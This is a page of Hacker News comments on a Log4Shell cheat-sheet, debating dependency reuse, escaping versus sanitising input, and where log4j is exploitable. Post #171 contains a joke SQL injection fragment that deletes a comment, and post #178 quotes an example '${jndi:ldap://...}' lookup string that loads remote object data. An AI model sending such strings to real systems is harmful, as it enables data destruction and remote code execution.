Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

techsolvency.com

Post reply on HN
Print view View original

171–180 of 209 posts

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#171

Post by benhoyt »

ineedasername wrote: post #104
hpoe wrote: post #70

Earlier quoted context omitted.

Given many of the engineers i have worked with and much more importantly the PMs and Managers that work over them, I would expect vulnerabilities like this to proliferate all over the place if people were to roll their own logging and telematry and especially authentication. I mean SQL injection is such an easy known mitigation yet is still on the OWASP top 10 even after so many years.

Yes, people still forget to ; delete from comments where id = 29544262 */-- sanitize their inputs. ...still there?

> sanitize their inputs.

For anyone confused about why "sanitizing your inputs" isn't the right approach, please read (shameless self-promotion, but I think the concept is important): https://benhoyt.com/writings/dont-sanitize-do-escape/

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#172

Post by shoto_io »

throw_m239339 wrote: post #170
shoto_io wrote: post #166

Earlier quoted context omitted.

It does matter, because it helps to think about how to prevent these things in the future.

Again, the point is, whether it is a bug or not is irrelevant. It's an exploit and should be patched. If it was deemed a "feature" then it needs to be removed. There is nothing hard to understand here.

I was referring to the "it doesn't matter" part of your comment, which you have now removed? Of course you're right that it doesn't matter what the underlying reason was and how it needs to be dealt with NOW.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#173

Post by gonzo41 »

I was going to talk about software engineering being different because you have to build like you're in a nuclear war all the time. But, this sort of thing happens in other industries. Remember asbestos or leaded fuel, or CFC's.

I think doing a retro on the feature and asking why a logging systems needs to have so many features may be a question worth answering. Because there's tons of dependencies I use, where I want 15 to 10% of the features and the rest is just the library developers building hyper niche use cases or avoiding other work. So I expect there's a ton of other features waiting for this kind of CVE to emerge.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#174

Post by throw_m239339 »

shoto_io wrote: post #172
throw_m239339 wrote: post #170

Earlier quoted context omitted.

Again, the point is, whether it is a bug or not is irrelevant. It's an exploit and should be patched. If it was deemed a "feature" then it needs to be removed. There is nothing hard to understand here.

I was referring to the "it doesn't matter" part of your comment, which you have now removed? Of course you're right that it doesn't matter what the underlying reason was and how it needs to be dealt with NOW.

Since you focused on the wrong part of my comment I edited it yes. My previous answer makes it clear what I was talking about.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#175

Post by bob1029 »

jl6 wrote: post #117
bob1029 wrote: post #66

I have taken some flak over the years for rolling my own basics like logging, telemetry, tracing, authentication, session management, etc... Incidents like this remind me that it is sometimes OK to ignore those who constantly order you to "vendor it out" over some notion of principled development excellence wherein one never reinvents a single hypothetical wheel. Arguably, writing text to a log file on disk is a simp…

Well it sure does suck to find out that you have a RCE vulnerability in your application thanks to a dependency, but I’m not sure that means it was wrong to decide to use Log4j based on the information available at the time. Having to rewrite a bunch of library code in-house is a significant burden, without a guarantee you’ll get it any more right than the Log4j developers did. I don’t think this event is sufficientl…

> I don’t think this event is sufficiently bad to overturn the principle that code reuse is a good thing.

Are we open to the idea that code reuse is a delicate spectrum of possibilities?

I am also curious what your threshold would be for something that is sufficiently bad to force a review of these principles. Last I checked 10.0 is the highest CVSS score available.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#176

Post by zwegner »

tfehring wrote: post #144
bob1029 wrote: post #66

I have taken some flak over the years for rolling my own basics like logging, telemetry, tracing, authentication, session management, etc... Incidents like this remind me that it is sometimes OK to ignore those who constantly order you to "vendor it out" over some notion of principled development excellence wherein one never reinvents a single hypothetical wheel. Arguably, writing text to a log file on disk is a simp…

On the other hand, if you roll your own logging but import a dependency for something else (you generally can't roll your own everything ) and that dependency uses log4j, isn't that strictly worse from a security perspective than just using log4j everywhere? Whatever the probability of any given logging utility exposing an RCE exploit, the probability that none of your logging utilities expose an RCE exploit decays e…

I don't think that's necessarily (or even probably) true in this case, since the vulnerability only exists where attacker-controlled data gets logged. If a library is just using log4j for some diagnostic messages with no user data, there's no issue, right?

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#177

Post by noizejoy »

mro_name wrote: post #114
bob1029 wrote: post #66

I have taken some flak over the years for rolling my own basics like logging, telemetry, tracing, authentication, session management, etc... Incidents like this remind me that it is sometimes OK to ignore those who constantly order you to "vendor it out" over some notion of principled development excellence wherein one never reinvents a single hypothetical wheel. Arguably, writing text to a log file on disk is a simp…

you're advocating diversity against monoculture. Only nature has muse enough for such.

I feel pretty good about betting on nature in the long term. Life in general has a pretty decent track record of surviving, even when complex life forms don’t.

The argument of monoculture vs diversity may actually be a short term vs long term advantage discussion.

But it’s been too long since philosophy classes, and not enough of them in any case. :-)

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#178

Post by cesarb »

kyrra wrote: post #147
gadnuk wrote: post #136

Earlier quoted context omitted.

The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell "Among the recognized expressions is ${jndi: }; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load an…

Log4j 1.x is safe from THIS exploit, but reading https://logging.apache.org/log4j/1.2/ , there was an exploit discovered 2 years ago that was never fixed on the official branch ( https://www.cvedetails.com/cve/CVE-2019-17571/ ). There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.

> There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.

Sorry if I'm being dense, but wouldn't the workaround be not enabling SocketServer? AFAIK, it's not used by default, it's something you have to decide to use explicitly.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#179

Post by bob1029 »

zwegner wrote: post #176
tfehring wrote: post #144

Earlier quoted context omitted.

On the other hand, if you roll your own logging but import a dependency for something else (you generally can't roll your own everything ) and that dependency uses log4j, isn't that strictly worse from a security perspective than just using log4j everywhere? Whatever the probability of any given logging utility exposing an RCE exploit, the probability that none of your logging utilities expose an RCE exploit decays e…

I don't think that's necessarily (or even probably) true in this case, since the vulnerability only exists where attacker-controlled data gets logged. If a library is just using log4j for some diagnostic messages with no user data, there's no issue, right?

> if a library is just using log4j for some diagnostic messages with no user data, there's no issue, right?

Depends on the diagnostic messages and how you use the library. If exceptions are being logged with any level of detail, and an attacker has the ability to provoke exceptions while varying error message content, then the thing that seems safe was just made quite unsafe.

The way I would look at it - If log4j methods are being invoked on any logical threading context which is serving a potential attacker, then you have something you need to investigate for safety. This is not a complete scope, but it is the most immediate because of the feedback loop being instant for an attacker. Other flavors of this attack could involve nightly log shipping and other batched procedures being poisoned with nasty messages, but these have longer cycles and will take more time to compromise.

Re: Log4Shell Log4j vulnerability (CVE-2021-44228) – cheat-sheet reference guide

#180

Post by unixbane »

gonzo41 wrote: post #173

I was going to talk about software engineering being different because you have to build like you're in a nuclear war all the time. But, this sort of thing happens in other industries. Remember asbestos or leaded fuel, or CFC's. I think doing a retro on the feature and asking why a logging systems needs to have so many features may be a question worth answering. Because there's tons of dependencies I use, where I wan…

[dead]
Post reply on HN